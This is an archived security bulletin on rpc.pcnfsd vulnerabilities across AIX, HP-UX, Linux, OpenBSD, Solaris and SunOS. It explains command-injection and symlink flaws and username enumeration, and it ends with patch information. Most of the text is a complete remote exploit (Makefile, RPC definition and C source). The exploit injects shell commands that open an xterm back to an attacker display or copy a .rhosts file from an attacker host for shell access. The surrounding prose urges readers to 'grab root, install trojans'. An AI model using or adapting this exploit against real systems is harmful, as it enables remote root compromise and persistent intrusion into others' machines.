COMMAND
rpc.pcnfsd
SYSTEMS AFFECTED
AIX: 4.0, 4.1, 4.2, 4.3
HP 9000 series 700/800
Linux (if installed)
OpenBSD
OSF: 3.2
Solaris: 2.3, 2.4, 2.5, 2.5.1, 2.6 (if additionally installed)
SunOS: 4.1.3, 4.1.4 (if additionally installed)
PROBLEM
Following info is mosly based on RSI and Rhino9 advisories.
PCNFSD is a Remote Procedure Call used by NFS clients. This
service provides username and password authentication for
networked computers which have installed NFS client software. Two
vulnerabilities are covered in RSI advisory which both allow root
access to be compromised ('Bermuda Brian' found it). Vulnerable
functions are following:
pr_init ()
----------
This function will create a spool directory for a client.
When passing data to this function, it calls secure ()
attempting to find any insecure characters. The list of
characters that suspicious () checks for are:
;|&<>`'!?*()[]^/
By sending a "." as the printer name, rpc.pcnfsd will attempt
to make that directory and set the mode to 777. By doing
this, an attacker sets the main spool directory used by
rpc.pcnfsd to world writeable. To exploit this, an attacker
could locally set a symbolic link from
/var/spool/pcnfsd/printername to any other file on the system.
Calling pr_init () with the name of the symbolically linked
file will force rpc.pcnfsd to follow the symlink and change
the destination file to mode 777.
run_ps630 ()
------------
Upon system bootup, rpc.pcnfsd is started from the system rc
files which are executed from the / directory. Because of
this, rpc.pcnfsd will attempt to function out of the root
directory (/). When run_ps630 () is called, it calls
suspicious () to check for any insecure characters. The list
of characters that secure () checks for are:
;|&<>`'!?*()[]^/
If it detects that none of these characters are being used, it
will call strcat () to append the data to a buffer and then
run the data contained inside it with system (). By sending a
\ncommand\n as the printer, "." as the spool directory, and
setting your client options to "d", arbitary commands can be
executed remotely on the server as root.
NOTE: AIX is not vulnerable to problem with pr_init() and HP is
only vulnerable to pr_init() function in HP-UX 9.0, 10.0.
Rhino9 Security Advisory pointed out yet three vulnerabilities
(Author - horizon).
pr_cancel
---------
As pointed out in the Repsec advisory, the suspicious()
function does not check for several shell meta-characters,
which allows the newline, and on some operating systems, the
'/' character to be passed. This allows for the exploitation
of the run_ps630 system() call, as documented in the advisory.
However, this oversight in the suspicious() function also
allows for an attacker to manipulate the pr_cancel() function
to gain access to the machine. Specifically, an attacker will
have to invoke pr_cancel with a valid printer name, a valid
user name, and a printer id containing the crafted exploit
string. The printer id will be passed through the
suspicious() function, and then run through a shell in the
su_popen() function. As far as obtaining a valid printer id,
some implementations unilaterally accept "lp" as a valid
printer, but this is not a concern because the attack can
request a list of the valid printers with the pr_list RPC
call. As the third vulnerability addresses, it is easy for an
attacker to get a list of valid usernames out of rpc.pcnfsd.
get_pr_status
-------------
The get_pr_status function uses popen() directly, as opposed
to calling the su_popen() function. The OpenBSD implementation
of rpc.pcnfsd does not check if the supplied printer name is a
valid printer; it only checks if the name is suspicious. Thus,
a printer name can be provided such that remote commands can
be executed as root. It is very important to note that the
OpenBSD team is well aware of the problems with rpc.pcnfsd and
that this vulnerability is in no way an indication of any
oversight or negligence on their part. The man page for
rpc.pcnfsd on OpenBSD gives a very strong warning not to use
the program, because of numerous known security flaws. Their
auditing efforts have wisely been placed in the more critical
programs.
mapid / auth - All implementations are vulnerable
------------
This is a more difficult problem in scope because it addresses
the inherent functionality of the daemon. Any attacker can use
the mapid() functionality of rpc.pcnfsd to retrieve a list of
the usernames on a system. The far more serious hole is that
an attacker can use the authentication functionality to
attempt to guess passwords. These password guessing attempts
are not logged in any implementation we have looked at. The
only logging that occurs is when the attacker succesfully
guesses a password. Upon this occurance, a single entry is
placed in wtmp. It is easy to write a program to attempt to
brute force passwords, working from a list. Also, there are
no slowdowns built into the program to prevent rapid brute
force attacks. Some implementations do not allow logins of
UID's below a certain number.
The pr_cancel vulnerability will allow a remote user to obtain
non-root access to most machines running rpc.pcnfsd. Notable
exceptions are NetBSD, which has a very strict suspicious()
function, and later versions of the Solaris package, which use
single quotes around the arguments in it's popens. Also, some
machines will allow remote root access, but most likely none of
the current implementations.
The get_pr_status vulnerability will allow a remote attacker to
obtain root access to an OpenBSD machine and possibly older
machines running BSD based implementations of pcnfsd.
The mapid/auth vulnerability will allow an attacker to gain
valuable information about a machine. Furthermore, if the machine
has unpassworded or weakly passworded accounts, they can be easily
guessed, with very little logging of malicious action.
See rpc.pcnfsd #4 for exploit. Below is another exploit Security
Bugware had chance to see. These files will follow:
pcnfsd.x
Makefile
pcnfsd_remote.c
One will need to setup this exploit. This sploit can be
configured to do one of two things:
- send you back an xterm
- rcp a .rhosts and a file from somewhere
Read the first couple of lines. You will need to define a host to
send the xterm back to, or define an account that you will use to
rcp from. The best way to do option B is to pick a random account
somewhere, put in a .rhosts and a file like blah.tar.gz. Then
configure the sploit to copy the .rhosts and the blah.tar.gz. Run
said exploit, rsh in, untar bag of toys, grab root, install
trojans, log out, and then log back in as root (if you have
permissions to that in first place). If your file is big, you
might need to crank up the timeout value.
Makefile:
CFLAGS += -DUSER_CACHE -DWTMP -DUSE_YP
CC=gcc
PROG= pcnfsd_remote
SRCS= pcnfsd_remote.c pcnfsd_clnt.c pcnfsd_xdr.c
INCS= pcnfsd.h
#LIBS= -lsocket -lnsl -lrpcsvc
CLEANFILES=pcnfsd.h pcnfsd_xdr.c pcnfsd_clnt.c
# Special rules for the generated C code...
pcnfsd_remote: ${SRCS} ${INCS}
${CC} ${CFLAGS} -o ${PROG} ${SRCS} ${LIBS}
pcnfsd_clnt.c: pcnfsd.x
rpcgen -l ./pcnfsd.x -o $@
pcnfsd_xdr.c: pcnfsd.x
rpcgen -c ./pcnfsd.x -o $@
pcnfsd.h: pcnfsd.x
rpcgen -h ./pcnfsd.x -o $@
clean:
rm -f ${CLEANFILES} ${PROG} *.o
pcnfsd.x:
/* $NetBSD: pcnfsd.x,v 1.3 1997/10/25 13:45:56 lukem Exp $ */
/* The maximum number of bytes in a user name argument */
const IDENTLEN = 32;
/* The maximum number of bytes in a password argument */
const PASSWORDLEN = 64;
/* The maximum number of bytes in a print client name argument */
const CLIENTLEN = 64;
/* The maximum number of bytes in a printer name argument */
const PRINTERNAMELEN = 64;
/* The maximum number of bytes in a print user name argument */
const USERNAMELEN = 64;
/* The maximum number of bytes in a print spool file name argument */
const SPOOLNAMELEN = 64;
/* The maximum number of bytes in a print options argument */
const OPTIONSLEN = 64;
/* The maximum number of bytes in a print spool directory path */
const SPOOLDIRLEN = 255;
/* The maximum number of secondary GIDs returned by a V2 AUTH */
const EXTRAGIDLEN = 16;
/* The maximum number of bytes in a home directory spec */
const HOMEDIRLEN = 255;
/* The maximum number of bytes in a misc. comments string */
const COMMENTLEN = 255;
/* The maximum number of bytes in a print job id */
const PRINTJOBIDLEN = 255;
/* The maximum number of printers returned by a LIST operation */
const PRLISTMAX = 32;
/* The maximum number of print jobs returned by a QUEUE operation */
const PRQUEUEMAX = 128;
/* The maximum number of entries in the facilities list */
const FACILITIESMAX = 32;
/* The maximum length of an operator message */
const MESSAGELEN = 512;
typedef string ident<IDENTLEN>;
/*
** The type ident is used for passing an encoded user name for
** authentication. The server should decode the string by replacing each
** octet with the value formed by performing an exclusive-or of the octet
** value with the value 0x5b and and'ing the result with 0x7f.
*/
typedef string message<MESSAGELEN>;
/*
** The type message is used for passing an alert message to the
** system operator on the server. The text may include newlines.
*/
typedef string password<PASSWORDLEN>;
/*
** The type password is used for passing an encode password for
** authentication. The server should decode the password as described
** above.
*/
typedef string client<CLIENTLEN>;
/*
** The type client is used for passing the hostname of a client for
** printing. The server may use this name in constructing the spool
** directory name.
*/
typedef string printername<PRINTERNAMELEN>;
/*
** The type printername is used for passing the name of a printer on which
** the client wishes to print.
*/
typedef string username<USERNAMELEN>;
/*
** The type username is used for passing the user name for a print job.
** The server may use this in any way it chooses: it may attempt to change
** the effective identity with which it is running to username or may
** simply arrange for the text to be printed on the banner page.
*/
typedef string comment<COMMENTLEN>;
/*
** The type comment is used to pass an uninterpreted text string which
** may be used by displayed to a human user or used for custom
** extensions to the PCNFSD service. If you elect to extend PCNFSD
** service in this way, please do so in a way which will avoid
** problems if your client attempts to interoperate with a server
** which does not support your extension. One way to do this is to
** use the
*/
typedef string spoolname<SPOOLNAMELEN>;
/*
** The type spoolname is used for passing the name of a print spool file
** (a simple filename not a pathname) within the spool directory.
*/
typedef string printjobid<PRINTJOBIDLEN>;
/*
** The type printjobid is used for passing the id of a print job.
*/
typedef string homedir<OPTIONSLEN>;
/*
** The type homedir is used to return the home directory for the user.
** If present, it should be in the form "hostname:path", where hostname
** and path are in a suitable form for communicating with the mount server.
*/
typedef string options<OPTIONSLEN>;
/*
** The type options is used for passing implementation-specific print
** control information. The option string is a set of printable ASCII
** characters. The first character should be ignored by the server; it is
** reserved for client use. The second character specifies the type of
** data in the print file. The following types are defined (an
** implementation may define additional values):
**
** p - PostScript data. The client will ensure that a valid
** PostScript header is included.
** d - Diablo 630 data.
** x - Generic printable ASCII text. The client will have filtered
** out all non-printable characters other than CR, LF, TAB,
** BS and VT.
** r - Raw print data. The client performs no filtering.
** u - User-defined. Reserved for custom extensions. A vanilla
** pcnfsd server will treat this as equivalent to "r"
**
** If diablo data (type 'd') is specified, a formatting specification
** string will be appended. This has the form:
** ppnnnbbb
** pp
** Pitch - 10, 12 or 15.
** nnn
** The ``normal'' font to be used - encoded as follows:
** Courier crn
** Courier-Bold crb
** Courier-Oblique con
** Courier-BoldObliqu cob
** Helvetica hrn
** Helvetica-Bold hrb
** Helvetica-Oblique hon
** Helvetica-BoldOblique hob
** Times-Roman trn
** Times-Bold trb
** Times-Italic ton
** Times-BoldItalic tob
** bbb
** The ``bold'' font to be used - encoded in the same way. For example,
** the string ``nd10hrbcob'' specifies that the print data is in Diablo
** 630 format, it should be printed at 10 pitch, ``normal'' text should be
** printed in Helvetica-Bold, and ``bold'' text should be printed in
** Courier-BoldOblique.
*/
enum arstat {
AUTH_RES_OK = 0,
AUTH_RES_FAKE = 1,
AUTH_RES_FAIL = 2
};
/*
** The type arstat is returned by PCNFSD_AUTH. A value of AUTH_RES_OK
** indicates that the server was able to verify the ident and password
** successfully.AUTH_RES_FAIL is returned if a verification failure
** occurred. The value AUTH_RES_FAKE may be used if the server wishes to
** indicate that the verification failed, but that the server has
** synthesised acceptable values for uid and gid which the client may use
** if it wishes.
*/
enum alrstat {
ALERT_RES_OK = 0,
ALERT_RES_FAIL = 1
};
/*
** The type alrstat is returned by PCNFSD_ALERT. A value of ALERT_RES_OK
** indicates that the server was able to notify the system operator
** successfully. ALERT_RES_FAIL is returned if a failure occurred
*/
enum pirstat {
PI_RES_OK = 0,
PI_RES_NO_SUCH_PRINTER = 1,
PI_RES_FAIL = 2
};
/*
** The type pirstat is returned by a number of print operations. PI_RES_OK
** indicates that the operation was performed successfully. PI_RES_FAIL
** indicates that the printer name was valid, but the operation could
** not be performed. PI_RES_NO_SUCH_PRINTER indicates that the printer
** name was not recognised.
*/
enum pcrstat {
PC_RES_OK = 0,
PC_RES_NO_SUCH_PRINTER = 1,
PC_RES_NO_SUCH_JOB = 2,
PC_RES_NOT_OWNER = 3,
PC_RES_FAIL = 4
};
/*
** The type pcrstat is returned by a CANCEL, REQUEUE, HOLD, or RELEASE
** print operation.
** PC_RES_OK indicates that the operation was performed successfully.
** PC_RES_NO_SUCH_PRINTER indicates that the printer name was not recognised.
** PC_RES_NO_SUCH_JOB means that the job does not exist, or is not
** associated with the specified printer.
** PC_RES_NOT_OWNER means that the user does not have permission to
** manipulate the job.
** PC_RES_FAIL means that the job could not be manipulated for an unknown
** reason.
*/
enum psrstat {
PS_RES_OK = 0,
PS_RES_ALREADY = 1,
PS_RES_NULL = 2,
PS_RES_NO_FILE = 3,
PS_RES_FAIL = 4
};
/*
** The type psrstat is returned by PCNFSD_PR_START. A value of PS_RES_OK
** indicates that the server has started printing the job. It is possible
** that the reply from a PCNFSD_PR_START call may be lost, in which case
** the client will repeat the call. If the spool file is still in
** existence, the server will return PS_RES_ALREADY indicating that it has
** already started printing. If the file cannot be found, PS_RES_NO_FILE
** is returned. PS_RES_NULL indicates that the spool file was empty,
** while PS_RES_FAIL denotes a general failure. PI_RES_FAIL is returned
** if spool directory could not be created. The value
** PI_RES_NO_SUCH_PRINTER indicates that the printer name was not
** recognised.
*/
enum mapreq {
MAP_REQ_UID = 0,
MAP_REQ_GID = 1,
MAP_REQ_UNAME = 2,
MAP_REQ_GNAME = 3
};
/*
** The type mapreq identifies the type of a mapping request.
** MAP_REQ_UID requests that the server treat the value in the
** id field as a uid and return the corresponding username in name.
** MAP_REQ_GID requests that the server treat the value in the
** id field as a gid and return the corresponding groupname in name.
** MAP_REQ_UNAME requests that the server treat the value in the
** name field as a username and return the corresponding uid in id.
** MAP_REQ_GNAME requests that the server treat the value in the
** name field as a groupname and return the corresponding gid in id.
*/
enum maprstat {
MAP_RES_OK = 0,
MAP_RES_UNKNOWN = 1,
MAP_RES_DENIED = 2
};
/*
** The type maprstat indicates the success or failure of
** an individual mapping request.
*/
/*
**********************************************************
** Version 1 of the PCNFSD protocol.
**********************************************************
*/
struct auth_args {
ident id;
password pw;
};
struct auth_results {
arstat stat;
unsigned int uid;
unsigned int gid;
};
struct pr_init_args {
client system;
printername pn;
};
struct pr_init_results {
pirstat stat;
spoolname dir;
};
struct pr_start_args {
client system;
printername pn;
username user;
spoolname file;
options opts;
};
struct pr_start_results {
psrstat stat;
};
/*
**********************************************************
** Version 2 of the PCNFSD protocol.
**********************************************************
*/
struct v2_info_args {
comment vers;
comment cm;
};
struct v2_info_results {
comment vers;
comment cm;
int facilities<FACILITIESMAX>;
};
struct v2_pr_init_args {
client system;
printername pn;
comment cm;
};
struct v2_pr_init_results {
pirstat stat;
spoolname dir;
comment cm;
};
struct v2_pr_start_args {
client system;
printername pn;
username user;
spoolname file;
options opts;
int copies;
comment cm;
};
struct v2_pr_start_results {
psrstat stat;
printjobid id;
comment cm;
};
typedef struct pr_list_item *pr_list;
struct pr_list_item {
printername pn;
printername device;
client remhost; /* empty if local */
comment cm;
pr_list pr_next;
};
struct v2_pr_list_results {
comment cm;
pr_list printers;
};
struct v2_pr_queue_args {
printername pn;
client system;
username user;
bool just_mine;
comment cm;
};
typedef struct pr_queue_item *pr_queue;
struct pr_queue_item {
int position;
printjobid id;
comment size;
comment status;
client system;
username user;
spoolname file;
comment cm;
pr_queue pr_next;
};
struct v2_pr_queue_results {
pirstat stat;
comment cm;
bool just_yours;
int qlen;
int qshown;
pr_queue jobs;
};
struct v2_pr_cancel_args {
printername pn;
client system;
username user;
printjobid id;
comment cm;
};
struct v2_pr_cancel_results {
pcrstat stat;
comment cm;
};
struct v2_pr_status_args {
printername pn;
comment cm;
};
struct v2_pr_status_results {
pirstat stat;
bool avail;
bool printing;
int qlen;
bool needs_operator;
comment status;
comment cm;
};
struct v2_pr_admin_args {
client system;
username user;
printername pn;
comment cm;
};
struct v2_pr_admin_results {
pirstat stat;
comment cm;
};
struct v2_pr_requeue_args {
printername pn;
client system;
username user;
printjobid id;
int qpos;
comment cm;
};
struct v2_pr_requeue_results {
pcrstat stat;
comment cm;
};
struct v2_pr_hold_args {
printername pn;
client system;
username user;
printjobid id;
comment cm;
};
struct v2_pr_hold_results {
pcrstat stat;
comment cm;
};
struct v2_pr_release_args {
printername pn;
client system;
username user;
printjobid id;
comment cm;
};
struct v2_pr_release_results {
pcrstat stat;
comment cm;
};
typedef struct mapreq_arg_item *mapreq_arg;
struct mapreq_arg_item {
mapreq req;
int id;
username name;
mapreq_arg mapreq_next;
};
typedef struct mapreq_res_item *mapreq_res;
struct mapreq_res_item {
mapreq req;
maprstat stat;
int id;
username name;
mapreq_res mapreq_next;
};
struct v2_mapid_args {
comment cm;
mapreq_arg req_list;
};
struct v2_mapid_results {
comment cm;
mapreq_res res_list;
};
struct v2_auth_args {
client system;
ident id;
password pw;
comment cm;
};
struct v2_auth_results {
arstat stat;
unsigned int uid;
unsigned int gid;
unsigned int gids<EXTRAGIDLEN>;
homedir home;
int def_umask;
comment cm;
};
struct v2_alert_args {
client system;
printername pn;
username user;
message msg;
};
struct v2_alert_results {
alrstat stat;
comment cm;
};
/*
**********************************************************
** Protocol description for the PCNFSD program
**********************************************************
*/
/*
** Version 1 of the PCNFSD protocol.
**
** -- PCNFSD_NULL() = 0
** Null procedure - standard for all RPC programs.
**
** -- PCNFSD_AUTH() = 1
** Perform user authentication - map username, password into uid, gid.
**
** -- PCNFSD_PR_INIT() = 2
** Prepare for remote printing: identify exporting spool directory.
**
** -- PCNFSD_PR_START() = 3
** Submit a spooled print job for printing: the print data is
** in a file created in the spool directory.
**
** Version 2 of the -- PCNFSD protocol.
**
** -- PCNFSD2_NULL() = 0
** Null procedure - standard for all RPC programs.
**
** -- PCNFSD2_INFO() = 1
** Determine which services are supported by this implementation
** of PCNFSD.
**
** -- PCNFSD2_PR_INIT() = 2
** Prepare for remote printing: identify exporting spool directory.
**
** -- PCNFSD2_PR_START() = 3
** Submit a spooled print job for printing: the print data is
** in a file created in the spool directory.
**
** -- PCNFSD2_PR_LIST() = 4
** List all printers known on the server.
**
** -- PCNFSD2_PR_QUEUE() = 5
** List all or part of the queued jobs for a printer.
**
** -- PCNFSD2_PR_STATUS() = 6
** Determine the status of a printer.
**
** -- PCNFSD2_PR_CANCEL() = 7
** Cancel a print job.
**
** -- PCNFSD2_PR_ADMIN() = 8
** Perform an implementation-dependent printer administration
** operation.
**
** -- PCNFSD2_PR_REQUEUE() = 9
** Change the queue position of a previously-submitted print job.
**
** -- PCNFSD2_PR_HOLD() = 10
** Place a "hold" on a previously-submitted print job. The job
** will remain in the queue, but will not be printed.
**
** -- PCNFSD2_PR_RELEASE() = 11
** Release the "hold" on a previously-held print job.
**
** -- PCNFSD2_MAPID() = 12
** Perform one or more translations between user and group
** names and IDs.
**
** -- PCNFSD2_AUTH() = 13
** Perform user authentication - map username, password into uid, gid;
** may also return secondary gids, home directory, umask.
**
** -- PCNFSD2_ALERT() = 14
** Send a message to the system operator.
*/
program PCNFSDPROG {
version PCNFSDVERS {
void PCNFSD_NULL(void) = 0;
auth_results PCNFSD_AUTH(auth_args) = 1;
pr_init_results PCNFSD_PR_INIT(pr_init_args) = 2;
pr_start_results PCNFSD_PR_START(pr_start_args) = 3;
} = 1;
/*
** Version 2 of the PCNFSD protocol.
*/
version PCNFSDV2 {
void PCNFSD2_NULL(void) = 0;
v2_info_results PCNFSD2_INFO(v2_info_args) = 1;
v2_pr_init_results PCNFSD2_PR_INIT(v2_pr_init_args) = 2;
v2_pr_start_results PCNFSD2_PR_START(v2_pr_start_args) = 3;
v2_pr_list_results PCNFSD2_PR_LIST(void) = 4;
v2_pr_queue_results PCNFSD2_PR_QUEUE(v2_pr_queue_args) = 5;
v2_pr_status_results PCNFSD2_PR_STATUS(v2_pr_status_args) = 6;
v2_pr_cancel_results PCNFSD2_PR_CANCEL(v2_pr_cancel_args) = 7;
v2_pr_admin_results PCNFSD2_PR_ADMIN(v2_pr_admin_args) = 8;
v2_pr_requeue_results PCNFSD2_PR_REQUEUE(v2_pr_requeue_args) = 9;
v2_pr_hold_results PCNFSD2_PR_HOLD(v2_pr_hold_args) = 10;
v2_pr_release_results PCNFSD2_PR_RELEASE(v2_pr_release_args) = 11;
v2_mapid_results PCNFSD2_MAPID(v2_mapid_args) = 12;
v2_auth_results PCNFSD2_AUTH(v2_auth_args) = 13;
v2_alert_results PCNFSD2_ALERT(v2_alert_args) = 14;
} = 2;
} = 150001;
pcnfsd_remote.c:
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <errno.h>
#include <rpc/rpc.h>
#include "pcnfsd.h"
/* 1 - xterm / 2 - rcp */
#define METHOD 2
#define XTERM "1.1.1.1:0"
/* Note: some versions of rcp require that you use a hostname instead of ip */
#define RCP "bob@shell.foobar.com"
void get_attack(char *arch);
void exploit1(void);
void exploit2(void);
int test_v2_stat(char *printer);
int test_v2_cancel(char *printer,char *user_name, char *id);
char *findprinter();
char *finduser(int us);
CLIENT *cl2;
char *server;
int attack;
char *attack_string;
char *user;
int main(int argc, char *argv[])
{
char *transport = "udp";
char *arch;
if (argc <2)
{
fprintf(stderr, "\nusage: %s server [arch] [user]\n\n",
argv[0]);
fprintf(stderr, " arch can be: openbsd linux irix hpux sunos solaris sysv \n");
fprintf(stderr, " write more and send them to me ! :> \n");
fprintf(stderr, "\n You can specify a user with the third argument in case the sploit \n picks a dumb one.\n\n");
exit(1);
}
if (argc>=3)
arch=argv[2];
else
arch="sysv";
server = argv[1];
cl2 = clnt_create(server, PCNFSDPROG, PCNFSDV2, transport);
if(cl2 == NULL)
{
clnt_pcreateerror(server);
exit(1);
}
if (argc==4)
user=argv[3];
get_attack(arch);
switch (attack)
{
case 1: exploit1();
break;
case 2: exploit2();
break;
}
if (METHOD==2)
printf("\nNow try :\nrsh -l %s %s /bin/sh -i\n",user,server);
}
void get_attack(char *arch)
{
char *evil;
attack_string=malloc(1024);
evil=attack_string;
if (!strcmp(arch,"openbsd"))
{
attack=1;
user="root";
if (METHOD==1)
{
sprintf(evil,"\ncd /usr/X11/bin\n");
strcat(evil,"./xterm -ut -d ");
strcat(evil,XTERM);
strcat(evil,"\n");
}
else
{
sprintf(evil,"cd /usr/bin\n");
sprintf(evil+strlen(evil),"./rcp %s:.rhosts ~root\n",RCP);
strcat(evil,"\n");
}
}
if (!strcmp(arch,"linux"))
{
attack=2;
/* linux - uses cancel, gives you a user account on the machine. */
printf("Searching for a valid account to attack.\n");
if (!user)
user=finduser(1);
printf("\tUsing user: %s\n",user);
if (METHOD==1)
{
sprintf(evil,"\ncd ..\ncd ..\ncd ..\ncd ..\n");
strcat(evil,"PATH=.:$PATH\nexport PATH\n");
strcat(evil,"cd usr\ncd X11\ncd bin\n");
strcat(evil,"xterm -ut -d ");
strcat(evil,XTERM);
strcat(evil,"\n");
}
else
{
sprintf(evil,"\ncd ..\ncd ..\ncd ..\ncd ..\ncd usr\n");
strcat(evil,"cd bin\n");
sprintf(evil+strlen(evil),"rcp %s:.rhosts ~%s\n",RCP,user);
strcat(evil,"\n");
}
}
if (!strcmp(arch,"irix"))
{
attack=2;
/* irix - uses cancel, gives you a user account on the machine. */
printf("Searching for a valid account to attack.\n");
if (!user)
user=finduser(1);
printf("\tUsing user: %s\n",user);
if (METHOD==1)
{
sprintf(evil,"\ncd ..\ncd ..\ncd ..\ncd ..\n");
strcat(evil,"PATH=.:$PATH\nexport PATH\n");
strcat(evil,"cd usr\ncd bin\ncd X11\n");
strcat(evil,"xterm -ut -d ");
strcat(evil,XTERM);
strcat(evil,"\n");
}
else
{
sprintf(evil,"\ncd ..\ncd ..\ncd ..\ncd ..\ncd bin\n");
strcat(evil,"PATH=.:$PATH\nexport PATH\n");
strcat(evil,"csh -c \"");
strcat(evil,"cd ..\ncd ..\ncd ..\ncd usr\ncd bsd\n");
sprintf(evil+strlen(evil),"rcp %s:.rhosts ~%s\n",RCP,user);
strcat(evil,"\"\n");
}
}
if (!strcmp(arch,"hpux"))
{
attack=2;
printf("Searching for a valid account to attack.\n");
if (!user)
user=finduser(1);
printf("\tUsing user: %s\n",user);
if (METHOD==1)
{
sprintf(evil,"\ncd ..\ncd ..\ncd ..\ncd ..\n");
strcat(evil,"PATH=.:$PATH\nexport PATH\n");
strcat(evil,"cd usr\ncd bin\ncd X11\n");
strcat(evil,"xterm -ut -d ");
strcat(evil,XTERM);
strcat(evil,"\n");
}
else
{
sprintf(evil,"\ncd ..\ncd ..\ncd ..\ncd ..\ncd bin\n");
strcat(evil,"PATH=.:$PATH\nexport PATH\n");
strcat(evil,"csh -c \"");
strcat(evil,"cd ..\ncd ..\ncd ..\ncd usr\ncd bsd\n");
sprintf(evil+strlen(evil),"rcp %s:.rhosts ~%s\n",RCP,user);
strcat(evil,"\"\n");
}
}
if (!strcmp(arch,"sunos"))
{
attack=2;
/* Sunos - uses cancel, gives you a user account on the machine. */
/* binary looks vulnerable to the runps630 hole */
printf("Searching for a valid account to attack.\n");
if (!user)
user=finduser(1);
printf("\tUsing user: %s\n",user);
if (METHOD==1)
{
sprintf(evil,"\ncd ..\ncd ..\ncd ..\ncd ..\n");
strcat(evil,"PATH=.:$PATH\nexport PATH\n");
strcat(evil,"cd usr\ncd openwin\ncd bin\n");
strcat(evil,"xterm -ut -d ");
strcat(evil,XTERM);
strcat(evil,"\n");
}
else
{
sprintf(evil,"\ncd ..\ncd ..\ncd ..\ncd ..\ncd bin\n");
strcat(evil,"PATH=.:$PATH\nexport PATH\n");
strcat(evil,"csh -c \"");
strcat(evil,"cd ..\ncd ..\ncd ..\ncd usr\ncd ucb\n");
sprintf(evil+strlen(evil),"rcp %s:.rhosts ~%s\n",RCP,user);
strcat(evil,"\"\n");
}
}
if (!strcmp(arch,"solaris"))
{
attack=2;
/* Solaris - uses cancel, gives you a user account on the machine. */
/* older binary looks vulnerable to the runps630 hole */
/* newest version of pcnfsd is fixed to all attacks I think */
printf("Searching for a valid account to attack.\n");
if (!user)
user=finduser(1);
printf("\tUsing user: %s\n",user);
if (METHOD==1)
{
sprintf(evil,"\ncd ..\ncd ..\ncd ..\ncd ..\n");
strcat(evil,"PATH=.:$PATH\nexport PATH\n");
strcat(evil,"cd usr\ncd openwin\ncd bin\n");
strcat(evil,"xterm -ut -d ");
strcat(evil,XTERM);
strcat(evil,"\n");
}
else
{
sprintf(evil,"\ncd ..\ncd ..\ncd ..\ncd ..\ncd bin\n");
strcat(evil,"PATH=.:$PATH\nexport PATH\n");
strcat(evil,"csh -c \"");
strcat(evil,"cd ..\ncd ..\ncd ..\ncd bin\n");
sprintf(evil+strlen(evil),"rcp %s:.rhosts ~%s\n",RCP,user);
strcat(evil,"\"\n");
}
}
if (!strcmp(arch,"sysv"))
{
attack=2;
/* at&t sysv release 4 - root via cancel */
printf("Using root account for attack.\n");
user="root";
printf("\tUsing user: %s\n",user);
if (METHOD==1)
{
sprintf(evil,"\ncd ..\ncd ..\ncd ..\ncd ..\n");
strcat(evil,"PATH=.:$PATH\nexport PATH\n");
strcat(evil,"cd usr\ncd bin\ncd X11\n");
strcat(evil,"xterm -ut -display ");
strcat(evil,XTERM);
strcat(evil,"\n");
}
else
{
sprintf(evil,"\ncd ..\ncd ..\ncd ..\ncd ..\ncd bin\n");
strcat(evil,"PATH=.:$PATH\nexport PATH\n");
strcat(evil,"csh -c \"");
strcat(evil,"cd ..\ncd ..\ncd ..\ncd bin\n");
sprintf(evil+strlen(evil),"rcp %s:.rhosts ~%s\n",RCP,user);
strcat(evil,"\"\n");
}
}
}
void exploit1(void)
{
/* This sploit uses pr_status_2 */
/* This will only work under bsd-ish systems, because the
* sysv-ish version verifies the printer name */
printf("Attempting exploit.\n");
test_v2_stat(attack_string);
}
void exploit2(void)
{
char *printer;
printf("Searching for a valid printer.\n");
printer=findprinter();
if (!printer)
printer="lp";
printf("\tUsing printer: %s\n",printer);
test_v2_cancel(printer,user,attack_string);
}
int test_v2_stat(char *printer)
{
v2_pr_status_args a;
v2_pr_status_results *rp;
a.pn = printer;
a.cm = "-";
printf("\ninvoking pr_status_2: %s\n",printer);
rp = pcnfsd2_pr_status_2(&a, cl2);
if(rp == NULL)
{
clnt_perror(cl2, server);
return(1);
}
printf("results: stat = %d, cm = '%s'\n",
rp->stat, rp->cm);
if(rp->cm)
free(rp->cm);
if(rp->status)
free(rp->status);
return(rp->stat);
}
int test_v2_cancel(char *printer,char *user_name, char *id)
{
v2_pr_cancel_args a;
v2_pr_cancel_results *rp;
a.system = "blah";
a.pn = printer;
a.user = user_name;
a.id = id;
a.cm = "-";
printf("Attempting exploit.\n");
printf("invoking pr_cancel_2\n");
rp = pcnfsd2_pr_cancel_2(&a, cl2);
if(rp == NULL)
{
clnt_perror(cl2, server);
return(1);
}
printf("results: stat = %d, cm = '%s'\n",
rp->stat, rp->cm);
if(rp->cm)
free(rp->cm);
return(0);
}
char *findprinter()
{
char a;
v2_pr_list_results *rp;
pr_list curr;
rp = pcnfsd2_pr_list_2(&a, cl2);
if (rp == NULL)
{
clnt_perror(cl2, server);
return(NULL);
}
curr = rp->printers;
while(curr)
{
curr = curr->pr_next;
}
if (rp->printers)
{
return (rp->printers->pn);
}
return(NULL);
}
char *finduser(int us)
{
v2_mapid_args a;
struct mapreq_arg_item i[100];
v2_mapid_results *rp;
struct mapreq_res_item *rip;
int j;
int current=1;
int bob=0;
a.cm = "-";
a.req_list=&(i[0]);
for (j=0;j<100;j++)
{
i[j].req=MAP_REQ_UID;
i[j].name="";
i[j].mapreq_next=&(i[j+1]);
}
i[99].mapreq_next=NULL;
while ((current+=100)<=65000)
{
for (j=0;j<100;j++)
i[j].id=current+j;
rp = pcnfsd2_mapid_2(&a, cl2);
if (rp == NULL)
{
clnt_perror(cl2, server);
return(NULL);
}
rip = rp->res_list;
while(rip && ((rip->id)<=65000))
{
if (!(rip->stat))
{
bob++;
if (bob==us)
return rip->name;
}
rip = rip->mapreq_next;
}
}
}
SOLUTION
OpenBSD, FreeBSD, NetBSD, BSDI are not vulnerable to the RSI part
of advisory. Disable rpc.pcnfsd until an appropriate patch is
released for your operating system.
AIX
===
IBM has provided the following patches:
APAR 4.1.x: IX81505
APAR 4.2.x: IX81506
APAR 4.3.x: IX81507
Until the official APARs are available, a temporary fix can be
downloaded via anonymous ftp from:
ftp://aix.software.ibm.com/aix/efixes/security/pcnfsd.tar.Z
Linux
=====
Working in conjunction with Patrick Volkerding and the Slackware
Linux development staff, RSI has produced the following patches:
ftp://ftp.repsec.com/pub/repsec/0008.patch1
ftp://ftp.repsec.com/pub/repsec/0008.patch2
HpUX
====
This problem is fixed fully in HP-UX release 11.01. Fixing the
problem involves installing a series of patches which require
rebooting the system. The main patch requires a libc patch, which
in turn requires a kernal patch.
For HP-UX 10.01: PHNE_17248
For HP-UX 10.10: PHNE_17248
